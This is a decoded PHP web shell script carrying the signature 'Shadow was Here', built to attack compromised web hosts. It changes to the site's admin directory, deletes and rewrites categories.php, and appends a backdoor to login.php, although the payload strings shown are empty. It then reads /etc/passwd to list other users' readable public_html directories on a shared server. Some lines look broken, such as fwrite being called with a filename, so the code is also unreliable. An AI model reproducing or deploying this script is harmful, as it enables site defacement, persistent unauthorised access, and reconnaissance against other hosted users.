/* Decoded by unphp.net */
echo "";
echo "
Shadow was Here";
set_time_limit(0);
$system_uname = php_uname();
$system_pwd = getcwd();
#####################
$pwd_admin = ereg_replace('/images','/admin', $system_pwd);
if (chdir($pwd_admin)) {
if (is_writable($pwd_admin)) {
if (is_writable('categories.php')) {
unlink('categories.php');
$new_categories = "";
$patch_categories = fopen('categories.php','w');
$write_categories = fwrite('categories.php',"$new_categories");
$response_categories= "[-] Categories Patched";
}
else { $response_categories = "[-] Unable to patch Categories"; }
if (is_writable('login.php')) {
$backdoor_login = "";
$add_on_login = fopen('login.php','a+');
$write_login = fwrite('login.php',$backdoor_login);
$response_login = "[-] Put backdoor on Login";
}
else { $response_login = "[-] Unable To put backdoor on Login"; }
}
}
#####################################
###Bjork##
@$passwd=fopen('/etc/passwd','r');
if (!$passwd) {
echo "[-] Error : Unable to open /etc/passwd";
}
$path_to_public=array();
$users=array();
$pathtoconf=array();
$i=0;
while(!feof($passwd)) {
$str=fgets($passwd);
if ($i>35) {
$pos=strpos($str,":");
$username=substr($str,0,$pos);
$dirz="/home/$username/public_html/";
if (($username!="")) {
if (is_readable($dirz)) {
array_push($users,$username);
array_push($path_to_public,$dirz);
}
}
}
$i++;
}
###################
#########################
echo "
";
echo "
";
echo "";